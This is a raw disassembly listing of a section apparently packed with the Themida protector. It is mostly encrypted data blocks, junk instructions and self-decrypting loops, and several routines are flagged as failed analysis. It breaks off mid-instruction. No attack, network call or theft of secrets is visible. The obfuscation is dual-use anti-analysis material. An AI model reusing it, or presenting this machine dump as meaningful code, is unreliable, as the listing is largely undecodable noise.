0CC228136h, 500A329Dh, 0F81B58Bh dd 0FF5F0614h, 14236195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7FF140CDh dd 0DA8B113Ah, 5DBD33h, 6A0614h, 116995FFh ; --------------------------------------------------------------------------- loc_5B6ED0: ; DATA XREF: Themida_:0054B184o adc al, 6 mov eax, eax jmp short loc_5B6F55 ; --------------------------------------------------------------------------- sbb dh, [edx-28h] jns short loc_5B6F3C dec esi retf ; --------------------------------------------------------------------------- db 0EAh, 71h, 0B7h dd 0EDDA9997h, 5D69D55Fh, 1BF24695h, 54F1C7DAh, 6931BC25h dd 0E66212D1h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- aas loc_5B6EFA: ; CODE XREF: Themida_:005B6F3Fj cmpsd mov edx, [esi+edi*2-703FD60Ah] popf inc ebx iret ; --------------------------------------------------------------------------- db 7Fh, 48h, 0C7h dd 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h, 1A332BA7h dd 2B218799h, 0D23DDBA5h, 1CDDAF2Ch, 18D99A4Ah, 8930CB3Ch dd 3D1890D7h, 80547641h, 0C9A8B459h ; --------------------------------------------------------------------------- loc_5B6F3C: ; CODE XREF: Themida_:005B6ED9j push edi add bl, [edi] js short loc_5B6EFA fscale add edi, 40h stosd sbb [esi+0FDB1F5Bh], cl push ecx db 2Eh out dx, eax add al, 0CAh cmp byte ptr [edi], 0DAh loc_5B6F55: ; CODE XREF: Themida_:005B6ED4j lea ecx, [ebp+61AE4A1h] push 0 push esi call sub_5B6F66 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6F66 proc near ; CODE XREF: Themida_:005B6F5Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B6F66 endp ; --------------------------------------------------------------------------- dw 0B6D4h dd 324B2D08h, 0FE918h, 0CE590000h, 35A932A2h, 0BDFADD15h dd 6008138Dh, 0DDB58BD1h, 89061402h, 1432298Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0B9ADEC1Eh, 166131C4h, 9533EE11h, 614235Dh, 0EE9h, 0F616EC00h dd 0E6EACE11h, 0C00FE4DBh, 0C72FA0F5h, 14064D85h, 5D9806h dd 0B71BF00h, 0BD314110h, 61431CDh, 267185C7h, 614h, 95890000h dd 6142E6Dh, 0C4DB5FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 5BB1BFC3h, 0A7C4B7F8h dd 0E840BA36h, 0Fh, 9D2B390Dh, 0D9941C47h, 94768102h, 0F38897Bh dd 38Eh, 0F9BF0F00h, 6195FF58h, 6A061423h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 2885C350h dd 0C5C9F65Eh, 3F75201Dh, 6DDF8166h, 0FF006AC9h, 14116995h dd 0EBC08B06h, 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh dd 3A6BB97Ah, 197E4175h, 5004EDB1h, 5AB5EA67h, 0D28146A2h dd 4BE24048h, 34FE8419h, 236542C4h, 0BB76DE8Ah, 0C8927E18h dd 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 0E8995766h dd 6, 0BB8CB9A5h, 0F55BFFEEh, 5CA6C381h, 810F0000h, 6 dd 2E418589h, 0FABF0614h, 89000016h, 1430F18Dh, 8B038B06h dd 140D3595h, 1EC08106h, 6053B31Ch, 8B53C3B3h, 816159CEh dd 933E0E8h, 12E94Eh, 55150000h, 2C4B2726h, 0A75B3616h dd 41AF2057h, 53A938F0h, 7FA6F081h, 0FE97A9Dh, 0B6000000h dd 0A8E2B756h, 7BE0A9D7h, 0BC2781B5h, 8B503EBBh, 0E9038FF2h dd 0Ch, 27388ED7h, 0B192F1FDh, 0F6DE0A50h, 6604EB83h, 81DA23B9h dd 1EFh, 11850F00h, 66000000h, 0E9ED7CB9h, 1Eh, 24D1431Fh dd 5F21F38Bh, 200BBE66h, 0FFFF70E9h, 0C9F9FFFh, 0D0F64717h dd 6DD4B708h, 11E8C9F8h, 7C000000h, 3E25AEA6h, 66AEA9BDh dd 0BF0C2751h, 37CE5484h, 0F08B6659h, 75CCC181h, 0C38A0000h dd 0BFh, 0C6B70F00h, 8A0F34FFh, 89605AFCh, 1400919Dh, 0C5858906h dd 6106141Bh, 0DEE8EA81h, 0E3812AE2h, 12319672h, 13E2F281h dd 81660517h, 814387D0h, 0C7BC23F2h, 0C28B6642h, 0B1B50152h dd 8F06140Bh, 860F3904h, 3, 0F89E080h, 688h, 49B52300h dd 83061419h, 84BE04EFh, 8154C9B3h, 0FF8AF4FFh, 1A850FFFh dd 89000000h, 1422DD85h, 2DE906h, 28D90000h, 4FFCA2h, 0BDCA5BFBh dd 0F80CD2DDh, 0C314B84Eh, 75E91D07h, 0ACFFFFFFh, 769CC805h dd 0A4327FB9h, 51BA61ADh, 3F50EC13h, 8DF22E6Ah, 1AE75D8Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A53FD16Ch, 4B10A967h, 2DB58977h, 66061400h dd 8D89F98Bh, 6143229h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 9AC35747h, 64D85C7h, 72840614h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0EADE56C3h, 0BB74DA96h, 0FA37636h, 0B86h, 58D0F00h dd 66000000h, 5B76EF81h, 267185C7h, 614h, 0D3810000h, 599E9B88h dd 0C4DB5FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 7BCE50C3h, 0AE01AC6Bh, 0FFDA8B4Eh dd 14236195h, 0FF006A06h, 14116995h, 0EBC08B06h, 0EDC9EE4Ah dd 88A98F8Ch, 899C3179h, 6252799Bh, 8728E4A6h, 0FAAEB506h dd 25439360h, 9EB3C1B1h, 0B0D49C86h, 0AB5CE4CAh, 0E6904A4h dd 18D02664h, 9A6E7A7Dh, 0A3A39605h, 86DC5F5Eh, 0C9F333B2h dd 8F9FD838h, 2C6AF582h, 8DAC6127h, 1AE8918Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 1D293DF0h, 298D89FCh, 6A061432h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 7F7AC357h dd 895A1C0Dh, 1425F59Dh, 4D85C706h, 0F0061406h, 6A000072h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7CE9C357h, 1A20FC8Dh, 0F2C3088h, 687h, 59B58900h dd 2906140Ch, 1420318Dh, 0F8BF0F06h, 267185C7h, 614h, 6E90000h dd 7000000h, 13D61DCBh, 4DB5FF2Bh, 6A06140Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 1A68C357h, 65C956C0h, 0FF44DF78h, 14236195h, 0FEBB6606h dd 0FF006A36h, 14116995h, 0EBC08B06h, 0AC02324Ah, 7138684Eh dd 0F34C4295h, 75735510h, 0F1E1F080h, 4D30CF2Eh, 0CDDAF9D0h dd 2E9B4813h, 0DDB169D1h, 0DE8E253Eh, 0FB623912h, 6712B7Dh dd 0C16D20Fh, 1D4B467Ch, 41274C56h, 20D9D2B8h, 979F3011h dd 0C4F623B1h, 8D8615B4h, 1AE9758Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8D9D3111h dd 89061421h, 1432298Dh, 6E906h, 5AA90000h, 4BC8BA6Eh dd 2B99589h, 85C70614h, 614064Dh, 6074h, 0C359D89h, 85C70614h dd 6142671h, 0 ; --------------------------------------------------------------------------- mov [ebp+6140955h], esi push dword ptr [ebp+6141071h] call dword ptr [ebp+6142361h] push 0 push edi call sub_5B7535 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7535 proc near ; CODE XREF: Themida_:005B752Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5B7535 endp ; --------------------------------------------------------------------------- xlat dec edx inc ebx shl byte ptr [edx], cl aas or al, 0B7h push 0 call dword ptr [ebp+6141169h] mov eax, eax jmp short loc_5B7568 ; --------------------------------------------------------------------------- db 82h, 7Ah, 1Dh dd 653A7B4Fh, 10BAE66Bh, 2C1C3F32h ; --------------------------------------------------------------------------- loc_5B7568: ; CODE XREF: Themida_:005B7557j call sub_5B7578 sbb eax, 37A8C223h daa retn 0A984h ; --------------------------------------------------------------------------- dw 0C5A7h ; =============== S U B R O U T I N E ======================================= sub_5B7578 proc near ; CODE XREF: Themida_:loc_5B7568p mov cx, 36A1h pop ebx movsx edx, di add ebx, 5E42h xor dx, 38D8h push 1768h pop edi and ah, 0B9h loc_5B7594: ; CODE XREF: sub_5B7578+70j mov esi, [ebx] pusha mov [ebp+61402F9h], edi xor dx, 946Ch popa sub esi, 1DF90202h pusha cmc mov edi, 54D23B7Dh popa add esi, 574926Dh mov ecx, eax xor esi, 0E000666h and eax, 453125AFh mov [ebx], esi add eax, [ebp+6142C65h] sub ebx, 0FF384BFh jnz loc_5B75DE mov ecx, 748BCF48h loc_5B75DE: ; CODE XREF: sub_5B7578+5Bj add ebx, 0FF384BBh cmc sub edi, 1 jnz loc_5B7594 jnp near ptr loc_5B760F+4 jp near ptr loc_5B760F+4 call near ptr loc_5B760F+3 ror byte ptr [edi+3FEFEF1Fh], cl xor ebp, [esi-0Fh] cmp eax, 0B0BD8FE0h std push esp loc_5B760F: ; CODE XREF: sub_5B7578+82p ; sub_5B7578+76j ... adc eax, 10E8596Dh sub_5B7578 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(0) dd 0B3BA5B0Bh, 0AA32F49h, 0E8A7160Fh, 0B784401Ah, 21E78166h dd 0C1815970h, 5BC3h, 3CD952Bh, 0CF680614h, 0F000016h dd 87h, 0BF665800h, 198BB313h, 540ABF66h, 7E8BEB81h, 8D895CF0h dd 614306Dh, 7983C381h, 98B26211h, 17F5C381h, 840F7E1Ah dd 6, 31A5BD8Bh, 19890614h, 0E981F38Bh, 31AF55EFh, 0CDD9D89h dd 0C1810614h, 31AF55EBh, 25B59D89h, 0E8810614h, 1, 0FFAC850Fh dd 8166FFFFh, 8D8B5AF6h, 1AEBAE8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 24C526D3h dd 68F0Fh, 0CE810000h, 123ABDBAh, 32298D89h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 17C12DC3h, 85C7DCB4h, 614064Dh, 751Ch, 267185C7h, 614h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 438974C3h, 4ACD1B9Bh, 0B5899021h, 6140621h dd 0D49B5FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 27C38EC3h, 33FDC9DEh, 0FFF90CA4h dd 14236195h, 10E96006h, 0EF000000h, 8860C9ABh, 8D1F3D76h dd 2B5E176Dh, 61E22958h, 31458D89h, 6A0614h, 116995FFh dd 0C08B0614h, 477849EBh, 0E19FEA71h, 0F8092D86h, 0B347CAA5h dd 0BEB36144h, 0E09FA3F2h, 33A64BD1h, 0FC20CE27h, 0F04D2C5h dd 87B761E0h, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh, 14536AE2h dd 70B97194h, 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 0E88BDA07h dd 6, 1BA31EFh, 0A8B2D7ACh, 81EFB05Fh, 5FE3C7h, 6880F00h dd 31000000h, 1434CD85h, 0E8F63306h, 12h, 0C1C8B022h, 576DCDE4h dd 7DC1D3C6h, 6FD55D29h, 860F2294h, 6, 0CBCCCB81h, 0FF5847D2h dd 9573E34h, 140965BDh, 1595B06h, 1403699Dh, 0A2C18106h dd 8B26C68Fh, 14348D85h, 0C8C18106h, 8137D917h, 0E352C3F1h dd 9E96Ah, 4B080000h, 0ADD0410Fh, 512D1695h, 48FC38Bh dd 0CE937h, 0B49F0000h, 0AA1E2C6h, 0CEDF62F5h, 10E8E488h db 3 dup(0) byte_5B7877 db 6Fh ; DATA XREF: Themida_:0054B1C0o ; --------------------------------------------------------------------------- sub al, bh add [edi], esi push esi xchg al, [ebx+esi*8] dec eax jnp short near ptr loc_5B789F+1 inc esi retf 0ECBAh ; --------------------------------------------------------------------------- jmp loc_5B7894 ; --------------------------------------------------------------------------- dd 0BE7E8C66h, 1B13C697h ; --------------------------------------------------------------------------- loc_5B7894: ; CODE XREF: Themida_:005B7887j pop edx sub esi, 1 mov bx, di dec esi dec esi dec esi cld loc_5B789F: ; CODE XREF: Themida_:005B7881j cmp esi, 0FFFFA0F0h jnz near ptr dword_5B7618+20Bh jg loc_5B78B7 mov eax, [ebp+614199Dh] loc_5B78B7: ; CODE XREF: Themida_:005B78ABj call near ptr loc_5B78BD+4 setalc loc_5B78BD: ; CODE XREF: Themida_:loc_5B78B7p mov eax, 0BB2B7811h adc al, [edx-74A1B19Ch] mov ebp, 614022Dh add esi, 5AB0h pusha mov [ebp+61425E1h], edx jnp loc_5B78E3 mov bx, si loc_5B78E3: ; CODE XREF: Themida_:005B78DAj popa push 1685h and ebx, [ebp+6140EE1h] pop eax js loc_5B7900 pusha push esi pop ecx mov [ebp+6141B99h], edx popa loc_5B7900: ; CODE XREF: Themida_:005B78F0j ; Themida_:005B7950j mov ecx, [esi] pusha stc mov cx, 78A3h popa sub ecx, 7DEAA97Ah mov [ebp+61416EDh], edx sub ecx, 3FBEE681h ja loc_5B7923 mov dl, 73h loc_5B7923: ; CODE XREF: Themida_:005B791Bj sub ecx, 59D4A2BEh mov edx, [ebp+6140B21h] mov [esi], ecx sub [ebp+61429C1h], edx sub esi, 21C0195Ah mov [ebp+614261Dh], edx add esi, 21C01956h mov edx, [ebp+6140055h] dec eax jnz loc_5B7900 js $+6 call loc_5B7966 retn 29C7h ; --------------------------------------------------------------------------- db 67h, 3Dh ; --------------------------------------------------------------------------- loc_5B7966: ; CODE XREF: Themida_:005B795Cp mov di, 94FCh pop eax cld add eax, 6195h mov edx, [ebp+614257Dh] mov ecx, 0 jmp loc_5B798D ; --------------------------------------------------------------------------- dw 0CF38h dd 3186FD1Ah, 89CE0EB3h db 15h ; --------------------------------------------------------------------------- loc_5B798D: ; CODE XREF: Themida_:005B797Dj ; Themida_:005B79EDj push dword ptr [ecx+eax] mov si, ax pop ebx jmp loc_5B799F ; --------------------------------------------------------------------------- db 28h, 0EAh, 0B0h db 80h, 0A5h, 82h ; --------------------------------------------------------------------------- loc_5B799F: ; CODE XREF: Themida_:005B7994j add ebx, 32FA504Dh jmp loc_5B79BD ; --------------------------------------------------------------------------- dw 0CF56h ; --------------------------------------------------------------------------- push 69F80DA3h cli popa or [edi+edx*2-29h], eax fidivr word ptr [ecx-322C8DA9h] loc_5B79BD: ; CODE XREF: Themida_:005B79A5j sub ebx, 23D2B4B4h movzx edx, di xor ebx, 4C2E93Ch push ebx pop edx mov [eax+ecx], ebx cld mov esi, 923D2E9h sub ecx, 2 mov edx, [ebp+614210Dh] dec ecx dec ecx sub dx, 9A4Ch cmp ecx, 0FFFF9EFCh jnz loc_5B798D mov di, bx inc edx lodsb xor al, 0A2h push es and al, 7Ch mov ds:3BB37D7Ah, al ; --------------------------------------------------------------------------- dw 318Fh dd 2A218024h, 259083B4h, 25C46F30h, 98A78630h, 23068A11h dd 5A8D8930h, 0A6848630h, 31560F8Dh, 0A12E8636h, 25908642h dd 3F1103F6h, 4D6A8024h, 0A9279C97h, 0C22DB2B1h, 0DAA0F1FDh dd 314EA785h, 0FEA40B36h, 0DA9691B0h, 0E3B80DE0h, 313EDFB5h dd 8C7AC836h, 0A48E53D4h, 166DA204h, 90BDA9A7h, 233592B9h dd 0A54B03BDh, 0F5B78027h, 359D7EBBh, 0CC128630h, 25098638h dd 2B018996h, 6C428630h, 0A02E4F3Bh, 0DA6F79C0h, 25488BD9h dd 5CB90B30h, 9D14927Dh, 25098635h, 980965CFh, 23586827h dd 0CBF40BBDh, 3728802Ah, 0ECEB615h, 0AC4247FFh, 2406A234h dd 7D7AA27Ch, 318F3BB3h, 2A218024h, 259083B4h, 25C46F30h dd 98A78630h, 0F305E983h, 22B9A4h, 1CE90000h, 26000000h dd 3BAAF0h, 5 dup(0) dd 0E9000000h, 8D9h, 0C416A933h, 7FD1ECE7h, 398B30A2h dd 0EE40795Ch, 0A5F7C611h, 73644C6Ch, 0B61BF84Ah, 4D4B103h dd 4A8C69BBh, 8B131F71h, 0CD69F85h, 51B8B358h, 34894A17h dd 0E7DEC105h, 716551F1h, 0A810498Bh, 4F9C9B04h, 348C3883h dd 6E4A9Ch, 310850h, 0C1D7E1B3h, 363C4271h, 57E5AD9Bh dd 2835E109h, 0DFBC0EAFh, 8F4714F7h, 0ACC0A62Ch, 0ACD45806h dd 9A46795Fh, 0F1FEAA42h, 0C68ED6E5h, 1A7FCBEFh, 75FB61FFh dd 5806258Fh, 0AA0FC6A3h, 0DF0EA6FEh, 0E39F0375h, 6655814Eh dd 11AA2C37h, 0B3E481BFh, 0A37AF8D9h, 0C0DC4E0Dh, 902BABFEh dd 6463C9F8h, 7A000000h, 8F43C512h, 0B35F5A77h, 7F2BC35Bh dd 0A2A86572h, 51F1E7BCh, 6410A8D0h, 94407B57h, 0C16D5087h dd 0E6CB87ABh, 7FB2D034h, 6A9926B2h, 0F345785Fh, 0EDEDB0B5h dd 294EFEh, 17650000h, 1308D4Ah, 30DCE1F6h, 0F1E807EAh dd 0D1719551h, 874CBC1Bh, 7C828A36h, 51F1E796h, 52EA82AAh dd 2D2200h, 12790000h, 0E8B0F8C5h, 0F1E7FCE2h, 0B9E81051h dd 0E825094Fh, 0A38751F1h, 338A4DE7h, 0ED3209E1h, 8B0B7E75h dd 4FFBE1E7h, 0E70F51F2h, 1339204Fh, 0E4B1F9A5h, 0C51DC9F2h dd 0B38A9096h, 0A957E539h, 19E5CBD1h, 0D1F95806h, 0C16D4E84h dd 1825D169h, 0E2B901BAh, 0D361F880h, 0A21BB864h, 0D7069EF6h dd 0D3E8EAC7h, 1AD1B27h, 2329F1B9h, 5806E33Dh, 6B207CAh dd 91C0E8AEh, 0FA08624Dh, 2026EE5Dh, 5E1B083Ah, 73F7264Eh dd 0A84A9F4Bh, 488A57EAh, 0F8A419BEh, 0CED908A0h, 0A08CF804h dd 9DCBBE65h, 7ED68239h, 1FFC4EE6h, 165C08B3h, 5E1B9220h dd 4AE2A0C4h, 0D3627488h, 1404B483h, 17712A7Ch, 9B81874Fh dd 0AF51F1E7h, 0E81B0187h, 572F51F1h, 0F1E86B51h, 0BF577F51h dd 6D1D8690h, 897F5825h, 6FC7734Ah, 0B3C1A8D7h, 0F7C412CAh dd 0B1540DCEh, 1EDE5C4h, 575Ah, 4A177100h, 2A822E8Bh, 1AC6F5DDh dd 208993C2h, 0E5B304B3h, 0DA221D8Eh, 0F2C2EED4h, 42DA0251h dd 0E3401719h, 54298471h, 3E444A79h, 51F1FB58h, 171B446Ch dd 8C4A176Eh, 0FC2B832Fh, 0B1DAE1F1h, 0DFC14017h, 7AEDA9A2h dd 55AC120Ch, 12412CAFh, 53115E05h, 68000000h, 0B4FCAA13h dd 381E24ECh, 4C51F1E8h, 0E7B89E24h, 0F4CC51F1h, 0F1E808EEh dd 5CF41C51h, 1117462Dh, 51F1E82Bh, 17C5EE54h, 91C7840h dd 0AFDE2AC2h, 401700A9h, 0C9E14800h, 1D285739h, 0F1BE06B5h dd 0D22AD6E5h, 4A10BCA3h, 0E7967C82h, 82AA51F1h, 0C4126C53h dd 6C434BF7h, 0A3B24FD1h, 8CD0FFFBh, 51F56D38h, 0F0492038h dd 71DF9157h, 0A489AC9h, 85D7E4F2h, 0E28E2FA8h, 73BB02D5h dd 0E38F2CA6h, 80F25C8Bh, 0FECB7E1Ch, 0ACB7E6D3h, 240922Bh dd 0FEE96263h, 439Bh, 0C5CB9300h, 51F682DFh, 0B59CCBF3h dd 4BF7C412h, 0E52DD13Fh, 3687501Dh, 0BF03328Ah, 57E500DCh dd 0AD7AC2EAh, 444A9229h, 5806015Eh, 0B11B4A72h, 0E28E2FA4h dd 0EBA01D5h, 5554F6DAh, 0E51F3B9Fh, 0BF78CAF1h, 4BF7C412h dd 0E52DD13Fh, 0EA40C018h, 14FA7BB6h, 1E7622BAh, 0AB605D1h dd 0B57D83B2h, 6B720EDh, 967C025Ah, 0AA51F2B2h, 140F5382h dd 4257E5E2h, 19F0C81Ah, 98FEEE23h, 0F8DB2808h, 4B8B96C5h dd 0B6512870h, 480E7348h, 0BF056F9Eh, 0DA1808BAh, 629AB81Ch dd 18F54774h, 4551FDBEh, 0D9DF27D7h, 0E26C0BB2h, 0F6CE2048h dd 0C42282Eh, 2E56E28Dh, 0AA1318FFh, 0CAB3D3FCh, 0AFF7C412h dd 38617FD8h, 0B0FD0DA5h, 81689728h, 63494F17h, 7751F1E8h dd 3810204Fh, 2655686Bh, 0E5C4B13Fh, 515A01EDh, 52000000h dd 19B94D85h, 69EF6A2h, 0BEAB025Ah, 8F5F9FDDh, 134F3665h dd 0E7B4FCAAh, 0FFBC1AEAh, 0B763FB53h, 1749305Fh, 0F1E82B11h dd 1583F51h, 3650E233h, 0F987AF31h, 20F480A2h, 6E175F88h dd 454BC012h, 51F1E85Fh, 8AB34B73h, 20116910h, 68000000h dd 0D3FCAA13h, 0E82B1117h, 0EE5451F1h, 126E17C5h, 10D2FBC0h dd 967C824Ah, 0AA51F1E7h, 126C5382h, 0D8AFF7C4h, 0A9C419E3h dd 60CAF99Eh, 10C39058h, 23A901ADh, 51F2363Dh, 8D737951h dd 0A151F235h, 3E94E179h, 4A79D17Dh, 0F5B6B206h, 0C4EB251h dd 60A630FDh, 459D4972h, 63737EADh, 0F58D30A3h, 0F711C6A3h dd 19461FE1h, 4C31B49Fh, 2B805DB4h, 78DAE861h, 0B02734E0h dd 8BEF610Dh, 1BA235CFh, 0D8DA8BC9h, 3824FEE9h, 3B000000h dd 4147C412h, 51F1E85Bh, 3AF476Fh, 1A2689F7h, 7B95F7E0h dd 252B730Bh, 57E56B6Ah, 0B108C996h, 0FA7EAD05h, 4CB026D2h dd 0DBE0F60Eh, 0C9DAB189h, 8756AAEAh, 125C4372h, 0B72138C4h dd 0B61BFC2h, 4DBBC773h, 458C59A1h, 393F4574h, 57E5F1E6h dd 0A42FFCD4h, 0D2AD9319h, 99C15806h, 0F6C61542h, 10A8FA08h dd 0AA1305BEh, 0CAB3D3FCh, 9542C412h, 8C247C28h, 0B1540D63h dd 1EDE5C4h, 405Ah, 0AA137100h, 4F17D3FCh, 0B0B65382h dd 51F1E7CAh, 0EF1EB6DEh, 0F1E7C5ABh, 88B1D951h, 0C0126E17h dd 6910D2FBh, 63494F17h, 7751F1E8h, 4114204Fh, 4C000000h dd 0E7987E84h, 0CFAC51F1h, 0F120B803h, 8E4A170Ah, 0FE2D8531h dd 0B2DB8BF4h, 50824F17h, 12F83C6Bh, 3B51F1E8h, 6E17ACD5h dd 0B3FBC012h, 7B41EEBh, 0F1E79B81h, 5887AF51h, 7D4A1071h dd 4C336259h, 4BF7C412h, 8F757B43h, 0A351F1E7h, 472D337Bh dd 5B51F1E8h, 6CC00433h, 6C51F568h, 24B24A08h, 0C7784F97h dd 0BFC12010h, 0C5A2B2E1h, 0F2FEAA11h, 0CC94DC84h, 0B6E5D8FFh dd 0E953A372h, 0FF517957h, 0FCAA1346h, 29C4DDB4h, 9EC0A6ACh dd 0ACD451F2h, 0A3B3DD55h, 0F279B79Dh, 0BA3CB51h, 4A17F5DCh dd 9B053489h, 0F7C412B2h, 0B1540DCEh, 1EDE5C4h, 495Ah dd 0AA137100h, 1117D3FCh, 51F1E82Bh, 17EE173Fh, 433884Ah dd 4A1755FEh, 2A822E8Bh, 98C7F6DDh, 1CB7458Dh, 0F8DEE4BBh dd 0C51F20Bh, 81278DE4h, 10F821B9h, 67567D4Ah, 952AAEBBh dd 0ACF991E9h, 80679627h, 3511h, 0AA136800h, 832F8A47h dd 176A932Bh, 22F34140h, 0D201A0E1h, 66E0C6CCh, 0A57251F2h dd 0D6E38F2Eh, 0BA12BEFBh, 1E84F322h, 126E17F5h, 10D2FBC0h dd 65547D4Ah, 0C4124F36h, 0F5E2AFF7h, 0E141CC8h, 51F1E828h dd 4D7C143Ch, 68499DE3h, 0E54951F5h, 74478FA5h, 2A914522h dd 5C04727Eh, 821B0E14h, 6C4957E9h, 4FA7536Ch, 79986FB7h dd 7AEDBA95h, 8154A08Eh, 0A139266Fh, 13A96272h, 0B3D3FCAAh dd 0F7C412CAh, 0B1540DCEh, 1EDE5C4h, 615Ah, 4A177100h dd 76832F8Ch, 7AC75F5Ch, 5CB4605Dh, 0CBA232Dh, 0FE4017E3h dd 7544914Eh, 0F9B6191Eh, 0F2310DF3h, 61F92151h, 40262C32h dd 5451F231h, 161CE42Ch, 51F23130h, 0F5A118BDh, 80AFD79Dh dd 176E1799h, 0E12E8B4Ah, 0C31BC7F6h, 72498994h, 734A1049h dd 5CDF850Eh, 0CEB5E4CDh, 2611h, 0AA136800h, 4017D3FCh dd 0CC327F51h, 0F4055C89h, 0B5540DF0h, 11171D4Ch, 51F21C2Bh dd 17C5EE54h, 0FBC0126Eh, 126910D2h, 3F4BF7C4h, 0DFE52DD1h dd 57E50A40h, 339F6C34h, 0FE84DC88h, 58060A18h, 9BEA4AAh dd 0AAD25806h, 6E74BCE4h, 58060A88h, 0C145749Ch, 0FD6B4799h dd 21030951h, 2D5DFF1Ah, 89515905h, 20F99D83h, 3C89B15Eh dd 0ECF72697h, 0A27FD1EAh, 723F8734h, 0A1AE5A5Fh, 0BEED8534h dd 22B0E54h, 0E5497B71h, 11C794A5h, 7BAA02AEh, 3556670h dd 775D632Bh dd 8B9BD102h, 0AD293463h, 8055620Eh, 51808D39h, 0C2DD67A9h dd 5BF37257h, 8C31A2AFh, 44066AE0h, 0B9C9AFB5h, 0B5DD9BD1h dd 0A4E6881Dh, 23754690h, 7F2B9046h, 1671h, 0DBE1A900h dd 9BD1B9F5h, 0CBB2E109h, 2FA4017h, 0F06DD08Bh, 122188C1h dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 7D4868h dd 24048900h, 66BB68h, 242C8900h, 62568h, 243C8900h, 403ABF57h dd 0CF812273h, 4E3910BFh, 7537EF81h, 0F7812110h, 4B7034A9h dd 89FA8952h, 685F5AD5h, 1181h, 83242489h, 5F042404h, 4EC81h dd 2C890000h, 8478F24h, 5F2434FFh, 4C481h, 34FF0000h, 0C4835D24h dd 862DE904h, 64ACFFF9h, 0B9962B5Ch, 0F78DB8DFh, 0C503061Ah dd 1B68E0FFh, 79081725h, 6E3F5C23h, 49214C8h, 70DF5ED4h dd 0C8BE604Eh, 0B5061033h, 58E0C24h, 9AB969FEh, 7E83CC1h dd 0C000000h, 0D13083D8h, 840F147Bh, 3, 5EDA8B66h, 0C681F48Ah dd 6988h, 0A1CF8166h, 6865h, 0B2580000h, 3034FF8Fh, 10E959h dd 5C6B0000h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0C181D992h dd 349964F9h, 81C8CE80h, 0AC1A9EE9h, 0CCC18165h, 0BB75DE9Fh dd 52D81587h, 66060C89h, 8311DBBFh, 8B6602E8h, 664848F8h dd 0F881D88Bh, 0FFFF96ECh, 0FFAF850Fh, 8DFCFFFFh, 1AF96F8Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0FDFFEB1h, 0D78AF0BFh, 32298D89h, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D1A9B6C3h, 881B38D2h, 4D85C72Bh, 0CC061406h, 8B00005Bh dd 140CC585h, 7185C706h, 61426h, 89000000h, 141A899Dh dd 0E2DF8006h, 2E1B5FFh, 8D890614h, 6142591h, 236195FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8FBB1BC3h, 0A921556Eh, 0FBA6E5Ah, 0F8Fh dd 0AE900h, 0FE030000h, 96070639h, 3EC9B1BDh, 6AF8BF0Fh dd 6995FF00h ; --------------------------------------------------------------------------- loc_5B854C: ; DATA XREF: Themida_:0054B170o adc [esi+eax], edx mov eax, eax jmp short loc_5B8570 ; --------------------------------------------------------------------------- db 0CDh dd 660A08EDh, 70F80EB5h, 3F4D3947h, 0EB906041h, 0E761B0F1h dd 2F7D1792h, 91BEF017h ; --------------------------------------------------------------------------- loc_5B8570: ; CODE XREF: Themida_:005B8551j lea ecx, [ebp+61AFA64h] call sub_5B858B sahf sahf mov edi, [ebp+7F2113D4h] jmp far ptr 5229h:0E8ECEB3Dh ; --------------------------------------------------------------------------- db 0B2h ; =============== S U B R O U T I N E ======================================= sub_5B858B proc near ; CODE XREF: Themida_:005B8576p call near ptr loc_5B8590+5 loc_5B8590: ; CODE XREF: sub_5B858Bp imul edx, [edx-16CBC9A7h], 10h sub_5B858B endp ; sp-analysis failed xor esi, edi pop edi mov esp, 0EB1F2BB3h xchg al, [edi+53D9F7C4h] int 0F2h pop eax pop eax jp loc_5B85B4 mov esi, 